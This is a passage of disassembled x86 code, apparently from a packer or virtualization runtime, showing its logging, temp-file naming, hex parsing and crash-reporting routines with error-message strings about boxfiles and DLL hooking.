or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+arg_0] push [ebp+var_20] call ds:dword_4E17BC ; WriteFile mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp [ebp+var_28], ecx jz short loc_4D86E7 jmp short loc_4D86F6 ; --------------------------------------------------------------------------- loc_4D86E7: ; CODE XREF: sub_4D8538+179j ; sub_4D8538+1ABj ... push 0FFFFFFFFh lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx jmp short loc_4D8717 ; --------------------------------------------------------------------------- loc_4D86F6: ; CODE XREF: sub_4D8538+85j ; sub_4D8538+A7j ... and [ebp+var_2C], 0 jmp short loc_4D86E7 ; --------------------------------------------------------------------------- loc_4D86FC: ; DATA XREF: _5:004DE518o push offset dword_4E1A28 call ds:dword_4E1754 ; RtlLeaveCriticalSection mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- loc_4D8717: ; CODE XREF: sub_4D8538+1BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D8538 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8726 proc near ; CODE XREF: sub_4D0C5C+345p ; sub_4D8C27+1Dp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch ; FUNCTION CHUNK AT 004D87BB SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE520 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 push 1000h call sub_4D835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_1C], eax lea eax, [ebp+arg_4] mov [ebp+var_20], eax push [ebp+var_20] push [ebp+arg_0] push [ebp+var_1C] call ds:dword_4E17D8 ; wvsprintfA mov [ebp+var_24], eax push offset asc_4E0D90 ; "\r\n" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_4E17D4 ; wsprintfA pop ecx pop ecx and [ebp+var_20], 0 push [ebp+var_1C] call sub_4D8538 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_4D87AB jmp short loc_4D87BB sub_4D8726 endp ; =============== S U B R O U T I N E ======================================= sub_4D87AB proc near ; CODE XREF: sub_4D8726+7Ep ; DATA XREF: _5:004DE528o mov eax, [ebp-1Ch] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_4D83DD pop ecx retn sub_4D87AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D8726 loc_4D87BB: ; CODE XREF: sub_4D8726+83j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D8726 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D87CA proc near ; CODE XREF: sub_4D61E1+D39p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004D8883 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE530 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push 1000h call sub_4D835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax push 0 push 0 lea eax, [ebp+var_20] push eax push 400h call ds:dword_4E1710 ; RtlGetLastWin32Error push eax push 0 push 1300h call ds:dword_4E16DC ; FormatMessageA cmp [ebp+var_20], 0 jz short loc_4D8859 push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_20] push offset aWindowsErrorSA ; "windows error %s\n at %s(%d)\n" push [ebp+var_1C] call ds:dword_4E17D4 ; wsprintfA add esp, 14h push [ebp+var_1C] call sub_4D8538 pop ecx loc_4D8859: ; CODE XREF: sub_4D87CA+6Aj or [ebp+var_4], 0FFFFFFFFh call sub_4D8864 jmp short loc_4D8883 sub_4D87CA endp ; =============== S U B R O U T I N E ======================================= sub_4D8864 proc near ; CODE XREF: sub_4D87CA+93p ; DATA XREF: _5:004DE538o cmp dword ptr [ebp-20h], 0 jz short loc_4D8873 push dword ptr [ebp-20h] call ds:dword_4E1764 ; LocalFree loc_4D8873: ; CODE XREF: sub_4D8864+4j mov eax, [ebp-1Ch] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_4D83DD pop ecx retn sub_4D8864 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D87CA loc_4D8883: ; CODE XREF: sub_4D87CA+98j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D87CA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8892 proc near ; CODE XREF: sub_4D58CF+A2p ; sub_4D61E1+1F4p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi movzx eax, ds:byte_4E1A40 and eax, 1 test eax, eax jnz short loc_4D88BE mov al, ds:byte_4E1A40 or al, 1 mov ds:byte_4E1A40, al call ds:dword_4E16E8 ; GetCurrentProcessId mov ds:dword_4E1A20, eax loc_4D88BE: ; CODE XREF: sub_4D8892+13j cmp [ebp+arg_8], 0 jnz short loc_4D88CE mov eax, ds:dword_4E1A20 mov [ebp+var_10], eax jmp short loc_4D88D4 ; --------------------------------------------------------------------------- loc_4D88CE: ; CODE XREF: sub_4D8892+30j mov eax, [ebp+arg_8] mov [ebp+var_10], eax loc_4D88D4: ; CODE XREF: sub_4D8892+3Aj mov eax, [ebp+var_10] mov [ebp+var_8], eax push 124h call sub_4D835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax push 49h pop ecx xor eax, eax mov edi, [ebp+var_4] rep stosd push [ebp+var_4] push 104h call ds:dword_4E1734 ; GetTempPathA movzx eax, [ebp+arg_4] test eax, eax jz short loc_4D8948 mov eax, ds:dword_4E5A48 inc eax mov ds:dword_4E5A48, eax push ds:dword_4E5A48 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_4E17D4 ; wsprintfA add esp, 14h jmp short loc_4D899B ; --------------------------------------------------------------------------- loc_4D8948: ; CODE XREF: sub_4D8892+7Aj cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4D8977 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X_ ; "MBX@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_4E17D4 ; wsprintfA add esp, 10h jmp short loc_4D899B ; --------------------------------------------------------------------------- loc_4D8977: ; CODE XREF: sub_4D8892+BAj push [ebp+var_8] push offset aMbx@X@_ ; "MBX@%X@*.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_4E17D4 ; wsprintfA add esp, 0Ch loc_4D899B: ; CODE XREF: sub_4D8892+B4j ; sub_4D8892+E3j mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_4] call ds:dword_4E17C8 ; CharUpperBuffA mov eax, [ebp+var_4] pop edi leave retn sub_4D8892 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D89B8 proc near ; CODE XREF: sub_4D8A16+E1p ; sub_4D8A16+150p arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp movzx eax, [ebp+arg_0] cmp eax, 30h jl short loc_4D89D6 movzx eax, [ebp+arg_0] cmp eax, 39h jg short loc_4D89D6 movzx eax, [ebp+arg_0] sub eax, 30h jmp short loc_4D8A14 ; --------------------------------------------------------------------------- loc_4D89D6: ; CODE XREF: sub_4D89B8+Aj ; sub_4D89B8+13j movzx eax, [ebp+arg_0] cmp eax, 41h jl short loc_4D89F1 movzx eax, [ebp+arg_0] cmp eax, 46h jg short loc_4D89F1 movzx eax, [ebp+arg_0] sub eax, 37h jmp short loc_4D8A14 ; --------------------------------------------------------------------------- loc_4D89F1: ; CODE XREF: sub_4D89B8+25j ; sub_4D89B8+2Ej movzx eax, [ebp+arg_0] cmp eax, 61h jl short loc_4D8A0C movzx eax, [ebp+arg_0] cmp eax, 66h jg short loc_4D8A0C movzx eax, [ebp+arg_0] sub eax, 57h jmp short loc_4D8A14 ; --------------------------------------------------------------------------- loc_4D8A0C: ; CODE XREF: sub_4D89B8+40j ; sub_4D89B8+49j mov eax, [ebp+arg_4] mov byte ptr [eax], 1 xor eax, eax loc_4D8A14: ; CODE XREF: sub_4D89B8+1Cj ; sub_4D89B8+37j ... pop ebp retn sub_4D89B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8A16 proc near ; CODE XREF: sub_4D153F+2DEp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE540 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 40h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz loc_4D8BF5 call ds:dword_4E16E8 ; GetCurrentProcessId mov [ebp+var_1C], eax push 5Ch push [ebp+arg_0] call sub_4CC700 pop ecx pop ecx mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4D8A71 mov eax, [ebp+var_24] inc eax mov [ebp+arg_0], eax loc_4D8A71: ; CODE XREF: sub_4D8A16+52j mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_20], ecx cmp [ebp+var_20], 4 jle loc_4D8BF5 push 4 pop ecx mov edi, offset aMbx@ ; "MBX@" mov esi, [ebp+arg_0] xor eax, eax mov [ebp+var_34], eax repe cmpsb jz short loc_4D8AA7 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_34], eax loc_4D8AA7: ; CODE XREF: sub_4D8A16+87j mov eax, [ebp+var_34] mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz loc_4D8BF5 mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax push 40h push [ebp+arg_0] call sub_4CC640 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4D8BF5 and [ebp+var_30], 0 and [ebp+var_2C], 0 loc_4D8AE1: ; CODE XREF: sub_4D8A16+FCj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_3C], al push [ebp+var_3C] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_4D89B8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_4D8AE1 movzx eax, [ebp+var_2C] test eax, eax jnz loc_4D8BF5 mov eax, [ebp+var_30] cmp eax, [ebp+var_1C] jnz loc_4D8BF5 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push 2Eh push [ebp+arg_0] call sub_4CC640 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4D8BF5 and [ebp+var_30], 0 loc_4D8B50: ; CODE XREF: sub_4D8A16+16Bj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_40], al push [ebp+var_40] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_4D89B8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_4D8B50 movzx eax, [ebp+var_2C] test eax, eax jnz short loc_4D8BF5 mov [ebp+var_44], offset a_ ; ".###" mov eax, [ebp+arg_0] mov [ebp+var_48], eax loc_4D8B98: ; CODE XREF: sub_4D8A16+1B4j mov eax, [ebp+var_48] mov al, [eax] mov [ebp+var_49], al mov ecx, [ebp+var_44] cmp al, [ecx] jnz short loc_4D8BD2 cmp [ebp+var_49], 0 jz short loc_4D8BCC mov eax, [ebp+var_48] mov al, [eax+1] mov [ebp+var_4A], al mov ecx, [ebp+var_44] cmp al, [ecx+1] jnz short loc_4D8BD2 add [ebp+var_48], 2 add [ebp+var_44], 2 cmp [ebp+var_4A], 0 jnz short loc_4D8B98 loc_4D8BCC: ; CODE XREF: sub_4D8A16+195j and [ebp+var_50], 0 jmp short loc_4D8BDA ; --------------------------------------------------------------------------- loc_4D8BD2: ; CODE XREF: sub_4D8A16+18Fj ; sub_4D8A16+1A6j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_50], eax loc_4D8BDA: ; CODE XREF: sub_4D8A16+1BAj mov eax, [ebp+var_50] mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_4D8BF5 mov eax, [ebp+var_30] mov [ebp+var_58], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_58] jmp short loc_4D8C08 ; --------------------------------------------------------------------------- loc_4D8BF5: ; CODE XREF: sub_4D8A16+30j ; sub_4D8A16+6Fj ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_4D8C06 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4D8C06: ; CODE XREF: sub_4D8A16+1E3j xor eax, eax loc_4D8C08: ; CODE XREF: sub_4D8A16+1DDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D8A16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8C17 proc near ; CODE XREF: sub_4CD2E0+3F8p push ebp mov ebp, esp push offset sub_4D8C27 call ds:dword_4E1790 ; SetUnhandledExceptionFilter pop ebp retn sub_4D8C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8C27 proc near ; CODE XREF: sub_4D5BD7+367p ; sub_4D6B7F+3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x" call sub_4D8726 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+98h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0BCh] push offset aCs0x08xSs0x08x ; "CS :0x%08X SS :0x%08X DS :0x%08X" call sub_4D8726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+8Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+90h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+94h] push offset aEs0x08xFs0x08x ; "ES :0x%08X FS :0x%08X GS :0x%08X" call sub_4D8726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] push offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X ECX:0x%08X" call sub_4D8726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] push offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X EIP:0x%08X" call sub_4D8726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] push offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X" call sub_4D8726 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] call sub_4D918E add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, 11000000h mov [ebp+var_8], eax cmp [ebp+var_8], 16h ja loc_4D8E67 mov eax, [ebp+var_8] jmp ds:off_4D8E97[eax*4] loc_4D8D8E: ; DATA XREF: _4:off_4D8E97o mov [ebp+var_4], offset aAssertionFaile ; "ASSERTION FAILED" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8D9A: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8E9Bo mov [ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO EXECUTABLE" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DA6: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8E9Fo mov [ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DB2: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EC7o mov [ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DBE: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EA3o mov [ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DCA: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EA7o mov [ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DD6: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EABo mov [ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE" jmp loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DE2: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EAFo mov [ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DEB: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EB3o mov [ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DF4: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EB7o mov [ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8DFD: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EBBo mov [ebp+var_4], offset aOutOfMemory ; "OUT OF MEMORY" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E06: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EBFo mov [ebp+var_4], offset aWrappersTableB ; "WRAPPERS TABLE BROKEN" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E0F: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EC3o mov [ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E18: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8ECBo mov [ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE HEAP" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E21: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8ECFo mov [ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E2A: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8ED7o mov [ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E33: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EE7o mov [ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"... jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E3C: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8ED3o mov [ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E45: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EDBo mov [ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E4E: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EDFo mov [ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E57: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EE3o mov [ebp+var_4], offset aBadFuulname ; "BAD FUULNAME" jmp short loc_4D8E67 ; --------------------------------------------------------------------------- loc_4D8E60: ; CODE XREF: sub_4D8C27+160j ; DATA XREF: _4:004D8EEFo mov [ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION" loc_4D8E67: ; CODE XREF: sub_4D8C27+157j ; sub_4D8C27+160j ... cmp [ebp+var_4], 0 jz short loc_4D8E8C push 0 push 0 call ds:dword_4E17C4 ; ChangeDisplaySettingsA push 10h push ds:off_4DE4F4 push [ebp+var_4] push 0 call ds:dword_4E17D0 ; MessageBoxA jmp short loc_4D8E90 ; --------------------------------------------------------------------------- loc_4D8E8C: ; CODE XREF: sub_4D8C27+244j xor eax, eax jmp short locret_4D8E93 ; --------------------------------------------------------------------------- loc_4D8E90: ; CODE XREF: sub_4D8C27+263j push 1 pop eax locret_4D8E93: ; CODE XREF: sub_4D8C27+267j leave retn 4 sub_4D8C27 endp ; --------------------------------------------------------------------------- off_4D8E97 dd offset loc_4D8D8E ; DATA XREF: sub_4D8C27+160r dd offset loc_4D8D9A dd offset loc_4D8DA6 dd offset loc_4D8DBE dd offset loc_4D8DCA dd offset loc_4D8DD6 dd offset loc_4D8DE2 dd offset loc_4D8DEB dd offset loc_4D8DF4 dd offset loc_4D8DFD dd offset loc_4D8E06 dd offset loc_4D8E0F dd offset loc_4D8DB2 dd offset loc_4D8E18 dd offset loc_4D8E21 dd offset loc_4D8E3C dd offset loc_4D8E2A dd offset loc_4D8E45 dd offset loc_4D8E4E dd offset loc_4D8E57 dd offset loc_4D8E33 dd offset loc_4D8E67 dd offset loc_4D8E60 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8EF3 proc near ; CODE XREF: sub_4D918E+40p ; sub_4D918E+83p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE550 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp mov eax, offset dword_4E5A90 test eax, eax jnz short loc_4D8F2E mov eax, offset aBroken ; "!broken!" jmp loc_4D9006 ; --------------------------------------------------------------------------- loc_4D8F2E: ; CODE XREF: sub_4D8EF3+2Fj mov ecx, 100h xor eax, eax mov edi, offset dword_4E5A90 rep stosd and [ebp+var_4], 0 push 1Ch lea eax, [ebp+var_40] push eax push [ebp+arg_0] call ds:dword_4E17B0 ; VirtualQuery test eax, eax jnz short loc_4D8F78 push offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown" push offset dword_4E5A90 call ds:dword_4E17D4 ; wsprintfA pop ecx pop ecx mov [ebp+var_44], offset dword_4E5A90 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_44] jmp loc_4D9006 ; --------------------------------------------------------------------------- loc_4D8F78: ; CODE XREF: sub_4D8EF3+5Ej lea eax, [ebp+var_40] push eax call sub_4D90EF pop ecx mov [ebp+var_20], eax and [ebp+var_24], 0 and [ebp+var_1C], 0 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_0] call sub_4D9015 add esp, 10h cmp [ebp+var_20], 0 jnz short loc_4D8FB1 mov [ebp+var_20], offset aUnknown ; "unknown" loc_4D8FB1: ; CODE XREF: sub_4D8EF3+B5j push [ebp+var_1C] push [ebp+var_24] push [ebp+var_20] push [ebp+arg_0] push offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)" push offset dword_4E5A90 call ds:dword_4E17D4 ; wsprintfA add esp, 18h mov [ebp+var_48], offset dword_4E5A90 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_48] jmp short loc_4D9006 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh push [ebp+arg_0] push offset aBroken0x08x ; "!broken!0x%08x:" push offset dword_4E5A90 call ds:dword_4E17D4 ; wsprintfA add esp, 0Ch mov eax, offset dword_4E5A90 loc_4D9006: ; CODE XREF: sub_4D8EF3+36j ; sub_4D8EF3+80j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D8EF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9015 proc near ; CODE XREF: sub_4D8EF3+A9p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push esi mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov ecx, [ecx+4] add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_10] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+4] mov [ebp+var_C], ecx and [ebp+var_4], 0 jmp short loc_4D9058 ; --------------------------------------------------------------------------- loc_4D9051: ; CODE XREF: sub_4D9015:loc_4D90E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4D9058: ; CODE XREF: sub_4D9015+3Aj mov eax, [ebp+var_10] movzx eax, word ptr [eax+6] cmp [ebp+var_4], eax jnb loc_4D90EA mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+0Ch] mov [ebp+var_18], eax mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_4] imul ecx, 28h mov edx, [ebp+var_8] mov esi, [ebp+var_8] mov eax, [edx+eax+10h] cmp eax, [esi+ecx+8] jbe short loc_4D90A6 mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+10h] mov [ebp+var_1C], eax jmp short loc_4D90B6 ; --------------------------------------------------------------------------- loc_4D90A6: ; CODE XREF: sub_4D9015+7Dj mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+8] mov [ebp+var_1C], eax loc_4D90B6: ; CODE XREF: 